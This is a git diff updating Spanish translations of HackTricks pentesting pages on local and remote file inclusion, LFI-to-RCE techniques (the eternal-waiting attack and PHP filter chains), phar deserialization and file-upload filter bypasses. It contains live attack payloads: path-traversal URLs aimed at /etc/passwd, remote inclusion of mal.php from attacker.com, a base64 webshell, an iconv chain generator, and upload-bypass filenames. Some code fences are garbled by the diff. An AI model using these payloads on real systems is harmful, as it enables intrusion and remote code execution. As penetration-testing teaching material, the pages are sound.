* las carpetas que descubriste utilizando esta técnica pueden ser sometidas a fuzzing para archivos (usando un método LFI clásico) o para subdirectorios utilizando la misma técnica de manera recursiva.
-Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 en el sistema de archivos) quieres verificar si `/var/www/` contiene un directorio `private`, utiliza el siguiente payload:
+Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a profundidad 3 del sistema de archivos) quieres verificar si `/var/www/` contiene un directorio `private`, utiliza el siguiente payload:
```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
-La siguiente secuencia de comandos permite la generación de payloads usando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
+La siguiente secuencia de comandos permite la generación de payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
```
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
@@ -164,7 +166,7 @@ http://example.com/index.php?page=PhP://filter
```
## Inclusión Remota de Archivos
-En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
+En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@@ -187,9 +189,13 @@ Otro ejemplo **sin usar el protocolo `php://`** sería:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
-## Elemento raíz en Python
+```markdown
+{% endcode %}
+
+## Elemento Raíz en Python
En python en un código como este:
+```
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@@ -313,7 +319,7 @@ También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a
### zip:// y rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
-Para poder abusar del protocolo rar, este **necesita ser específicamente activado**.
+Para poder abusar del protocolo rar, este **necesita estar específicamente activado**.
```bash
echo "
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
index 225b46488..23b61cb4a 100644
--- a/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
+++ b/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
@@ -1,52 +1,59 @@
-# LFI2RCE a través de Eternal waiting
+# LFI2RCE a través de la espera eterna
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
-## Información básica
+## Información Básica
-Por defecto, cuando se carga un archivo en PHP (incluso si no se espera), se generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de Docker donde los archivos generados no contienen dígitos.
+Por defecto, cuando se sube un archivo a PHP (incluso si no lo está esperando), generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de docker donde los archivos generados no contienen dígitos.
-En una inclusión local de archivos, **si logras incluir ese archivo cargado, obtendrás RCE**.
+En una inclusión de archivo local, **si logras incluir ese archivo subido, conseguirás RCE**.
-Tenga en cuenta que por defecto, **PHP solo permite cargar 20 archivos en una sola solicitud** (establecido en `/etc/php//apache2/php.ini`):
+Ten en cuenta que por defecto **PHP solo permite subir 20 archivos en una sola petición** (configurado en `/etc/php//apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
-También existen otras técnicas que se basan en atacar los protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), revelar la ruta del archivo, abusar de los archivos esperados o **hacer que PHP sufra una falla de segmentación para que los archivos temporales cargados no sean eliminados**. Esta técnica es **muy similar a la anterior, pero sin necesidad de encontrar un zero day**.
+También, el **número de nombres de archivos potenciales es 62\*62\*62\*62\*62\*62 = 56800235584**
+
+### Otras técnicas
+
+Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), revelando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra una falla de segmentación para que los archivos temporales subidos no se eliminen**.\
+Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
### Técnica de espera eterna
-En esta técnica, **solo necesitamos controlar una ruta relativa**. Si logramos cargar archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **realizar un ataque de fuerza bruta a los archivos cargados** y **encontrar** cualquiera de los archivos cargados.
+En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **fuerza bruta en archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
-**Ventajas de esta técnica**:
+**Pros de esta técnica**:
-* Solo necesitas controlar una ruta relativa dentro de una inclusión
-* No requiere nginx ni un nivel inesperado de acceso a los archivos de registro
-* No requiere un zero day para causar una falla de segmentación
-* No requiere una revelación de ruta
+* Solo necesitas controlar una ruta relativa dentro de un include
+* No requiere nginx ni un nivel de acceso inesperado a archivos de registro
+* No requiere un 0 day para causar una falla de segmentación
+* No requiere revelación de ruta
-Los **principales problemas** de esta técnica son:
+Los **problemas principales** de esta técnica son:
-* Necesita que un archivo específico (pueden haber más) esté presente
-* La **enorme** cantidad de nombres de archivo potenciales: **56800235584**
- * Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664**
-* Por defecto, solo se pueden cargar **20 archivos** en una **solicitud única**.
-* El **número máximo de trabajadores en paralelo** del servidor utilizado.
- * Esta limitación junto con las anteriores puede hacer que este ataque dure demasiado tiempo
-* **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería matar el proceso de PHP sin eliminar los archivos cargados temporalmente. De lo contrario, esto también será un problema.
+* Necesidad de que esté presente un archivo específico(s) (podría haber más)
+* La cantidad **insana** de nombres de archivos potenciales: **56800235584**
+* Si el servidor **no utiliza dígitos** la cantidad total potencial es: **19770609664**
+* Por defecto **solo se pueden subir 20 archivos** en una **sola solicitud**.
+* El **número máximo de trabajadores paralelos** del servidor utilizado.
+* Este límite con los anteriores puede hacer que este ataque dure demasiado
+* **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería matar el proceso de PHP sin eliminar los archivos temporales subidos, si no, esto también será un problema
-Entonces, ¿cómo puedes **hacer que una inclusión de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**desafortunadamente no disponible en contenedores Docker**).
+Entonces, ¿cómo puedes **hacer que un include de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**lamentablemente no disponible en contenedores Docker**).
Pruébalo llamando:
```bash
@@ -61,42 +68,56 @@ Por defecto, (como puedo ver en mis pruebas), un **proceso PHP puede durar etern
Hagamos algunos cálculos:
-* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestra webshell.
-* Luego, usar la **última conexión** para **brute-force** archivos potenciales.
+* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestro webshell.
+* Luego, usar la **última conexión** para **fuerza bruta** de archivos potenciales.
* A una velocidad de **10 solicitudes/s** los tiempos son:
- * 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de probabilidad en 265h)
- * (sin decimales) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
+* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de probabilidad en 265h)
+* (sin dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
{% hint style="warning" %}
-¡Ten en cuenta que en el ejemplo anterior estamos **haciendo DoS a otros clientes**!
+¡Nota que en el ejemplo anterior estamos **DoSing completamente a otros clientes**!
{% endhint %}
-Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
+Si el servidor Apache está mejorado y pudiéramos abusar de **4000 conexiones** (a mitad de camino hacia el máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h con 50% de probabilidad).
## PHP-FMP
Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP, la **página web está usando** **PHP-FMP** (esto mejora la eficiencia de la página web, por lo que es común encontrarlo), hay algo más que se puede hacer para mejorar la técnica.
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php//fpm/pool.d/www.conf`**.\
-Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro no está comentado**). Cuando una solicitud está siendo procesada por PHP durante el número indicado de segundos, es **eliminada**. Esto significa que si la solicitud estaba cargando archivos temporales, porque el **procesamiento de php se detuvo**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no se eliminarán, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS en la plataforma al consumir todas las conexiones.
+Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número indicado de segundos, es **terminada**. Esto significa, que si la solicitud estaba subiendo archivos temporales, debido a que el **procesamiento de php fue detenido**, esos **archivos no van a ser eliminados**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
-Entonces, para **evitar DoS** supongamos que un **atacante usará solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de php por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
+Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de php por **php-fmp** (`request_terminate_timeout`**) es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
-Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería de **25min**).
+Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
-Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda de fuerza bruta**. Suponiendo una velocidad de 300 solicitudes/s, el tiempo necesario para explotar esto es el siguiente:
+Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda por fuerza bruta**. \*\*\*\* Suponiendo una velocidad de 300 req/s el tiempo necesario para explotar esto es el siguiente:
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de probabilidad en 2.63h)
* (con 100000 archivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de probabilidad en 0.263h)
-Sí, es posible generar 100000 archivos temporales en una instancia de tamaño mediano de EC2:
+Sí, es posible generar 100000 archivos temporales en una instancia EC2 de tamaño medio:
+
+Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index f9e181ba8..24804cf1c 100644
--- a/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -2,37 +2,39 @@
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
## Introducción
-Este [**artículo** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
+Este [**artículo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
-Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que finalmente será **decodificada** proporcionando la carga útil deseada que será **interpretada por `include`**.
+Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que finalmente será **decodificada** proporcionando el payload deseado que será **interpretado por `include`**.
Las bases para hacer esto son:
-* `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
+* `convert.iconv.UTF8.CSISO2022KR` siempre añadirá `\x1b$)C` al principio de la cadena
* `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero estos pueden eliminarse con el filtro `convert.iconv.UTF8.UTF7`.
El bucle para generar contenido arbitrario es:
-1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente
-2. aplicar alguna cadena de conversiones de iconv que deje intacto nuestro base64 inicial y convierta la parte que acabamos de anteponer en alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
+1. añadir `\x1b$)C` a nuestra cadena como se describió anteriormente
+2. aplicar alguna cadena de conversiones de iconv que deje intacto nuestro base64 inicial y convierta la parte que acabamos de añadir a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
3. decodificar y codificar en base64 la cadena, lo que eliminará cualquier basura intermedia
4. Volver al paso 1 si el base64 que queremos construir aún no está terminado
5. decodificar en base64 para obtener nuestro código php
{% hint style="warning" %}
-**Los includes** suelen hacer cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque necesitarías encontrar un archivo .php con un contenido que no mate el exploit... o podrías **usar simplemente `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (como +".php") ¡y aún permitirá que el exploit funcione!
+**Los includes** suelen hacer cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque necesitarías encontrar un archivo .php con un contenido que no anule el exploit... o podrías simplemente usar `php://temp` como recurso porque puede **tener cualquier cosa añadida en el nombre** (como +".php") ¡y aún permitirá que el exploit funcione!
{% endhint %}
## Cómo añadir también sufijos a los datos resultantes
@@ -142,8 +144,6 @@ conversions = {
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
-```json
-{
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
@@ -180,84 +180,86 @@ conversions = {
Aquí está el **script** para obtener codificaciones que generan cada letra b64:
```php
0) {
- echo "Combinación encontrada para la letra $cleaned: ";
- array_push($known, $cleaned);
- echo "$conv_str\n";
+if (strlen($value) > 0) {
+echo "Combination found for letter $cleaned: ";
+array_push($known, $cleaned);
+echo "$conv_str\n";
- if (count($known) == 64){
- echo "Todas encontradas\n";
- exit(0);
- }
- }
- }
- }
+if (count($known) == 64){
+echo "All found\n";
+exit(0);
+}
+}
+}
+}
}
function find_vals($init_val) {
- global $convs;
+global $convs;
- $convs_used = array();
- $current_val = iconv("UTF8", "CSISO2022KR", $init_val);
- array_push($convs_used, array("UTF8", "CSISO2022KR"));
+$convs_used = array();
+$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
+array_push($convs_used, array("UTF8", "CSISO2022KR"));
- $current_val2 = "";
+$current_val2 = "";
- for ($c = 0; $c < 5; $c++){
- $conv1 = $convs[array_rand($convs, 1)];
- $conv2 = $convs[array_rand($convs, 1)];
+for ($c = 0; $c < 5; $c++){
+$conv1 = $convs[array_rand($convs, 1)];
+$conv2 = $convs[array_rand($convs, 1)];
- if ($conv1 === $conv2){
- continue;
- }
+if ($conv1 === $conv2){
+continue;
+}
- $new_conv = array($conv1, $conv2);
- array_push($convs_used, $new_conv);
+$new_conv = array($conv1, $conv2);
+array_push($convs_used, $new_conv);
- $current_val2 = get_tranform($current_val, array($new_conv));
+$current_val2 = get_tranform($current_val, array($new_conv));
- if ($current_val === $current_val2){
- continue;
- }
+if ($current_val === $current_val2){
+continue;
+}
- $current_val = $current_val2;
- test_value($current_val, $convs_used);
- }
+$current_val = $current_val2;
+test_value($current_val, $convs_used);
+}
}
while(true){
- find_vals($init);
+find_vals($init);
}
?>
```
@@ -267,12 +269,14 @@ while(true){
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/file-inclusion/phar-deserialization.md b/pentesting-web/file-inclusion/phar-deserialization.md
index a43b84e79..cd3cc2490 100644
--- a/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/pentesting-web/file-inclusion/phar-deserialization.md
@@ -2,19 +2,21 @@
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
-
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende AWS hacking de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md
index 907db4ec3..5719af69b 100644
--- a/pentesting-web/file-upload/README.md
+++ b/pentesting-web/file-upload/README.md
@@ -1,24 +1,26 @@
-# Subida de archivos
+# Carga de Archivos
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
 (3).png>)
-**Consejo de recompensa por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
+**Consejo para cazar recompensas de bugs**: **regístrate** en **Intigriti**, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
-## Metodología general de subida de archivos
+## Metodología General de Carga de Archivos
Otras extensiones útiles:
@@ -29,15 +31,15 @@ Otras extensiones útiles:
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
-* **Servidor web Erlang Yaws**: _.yaws_
+* **Servidor Web Erlang Yaws**: _.yaws_
-### Saltar las comprobaciones de extensiones de archivos
+### Evitar controles de extensiones de archivos
-1. Si se aplican, **comprueba** las **extensiones anteriores**. Prueba también con algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
-2. _Comprueba **añadiendo una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
+1. Si aplican, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
+2. _Verifica **añadiendo una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
* _file.png.php_
* _file.png.Php5_
-3. Intenta añadir **caracteres especiales al final**. Puedes usar Burp para **probar todas las** letras **ascii** y **Unicode**. (_Ten en cuenta que también puedes probar usar las **extensiones anteriores**_)
+3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **fuerza bruta** de todos los caracteres **ascii** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones mencionadas anteriormente**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@@ -47,7 +49,7 @@ Otras extensiones útiles:
* _file._
* _file.php...._
* _file.pHp5...._
-4. Intenta saltar las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes nulos) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una carga útil mejor._
+4. Intenta evadir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@@ -56,73 +58,73 @@ Otras extensiones útiles:
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
-5. Añade **otra capa de extensiones** a la comprobación anterior:
+5. Añade **otra capa de extensiones** a la verificación anterior:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
-6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **.php**, pero **no necesariamente terminando en .php**, ejecutará código):
+6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar malas configuraciones de Apache donde cualquier cosa con extensión\*\* _**.php**_**, pero** no necesariamente terminando en .php\*\* ejecutará código):
* _ej: file.php.png_
-7. Usa **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "file.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas, como usar su nombre de archivo corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también puede ser útil para saltar restricciones adicionales (por ejemplo, "file.asp::$data.")
-8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y se deja el PHP malicioso. AAA<--SNIP-->AAA.php
+7. Usando **corrientes de datos alternas de NTFS (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre corto. El patrón “**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también podría ser útil para evadir restricciones adicionales (.e.g. “file.asp::$data.”)
+8. Intenta romper los límites del nombre del archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
```
# Linux máximo 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y añadiendo .png
-# Sube el archivo y comprueba la respuesta para ver cuántos caracteres permite. Digamos que 236
+# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
python -c 'print "A" * 232'
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Crear el payload
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+# Haz el payload
AAA<--SNIP 232 A-->AAA.php.png
```
-### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
+### Evitar controles de Content-Type, Número Mágico, Compresión y Redimensionamiento
-* Bypass de las comprobaciones de **Content-Type** estableciendo el **valor** de la **cabecera Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
-1. Wordlist de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
-* Bypass de la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir la shell dentro de los **metadatos**:\
+* Evita controles de **Content-Type** estableciendo el **valor** del **encabezado Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
+1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
+* Evita controles de **número mágico** añadiendo al principio del archivo los **bytes de una imagen real** (confunde el comando _file_). O introduce la shell dentro de los **metadatos**:\
`exiftool -Comment="' >> img.png`
-* Si se está añadiendo **compresión a la imagen**, por ejemplo utilizando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías utilizar la técnica del **chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+* Si se está **añadiendo compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar la técnica del **chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* La página web también podría estar **redimensionando la imagen**, utilizando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías utilizar la técnica del **chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+* La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar la técnica del **chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías utilizar la técnica del **chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+* Otra técnica para hacer un payload que **sobreviva un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar la técnica del **chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
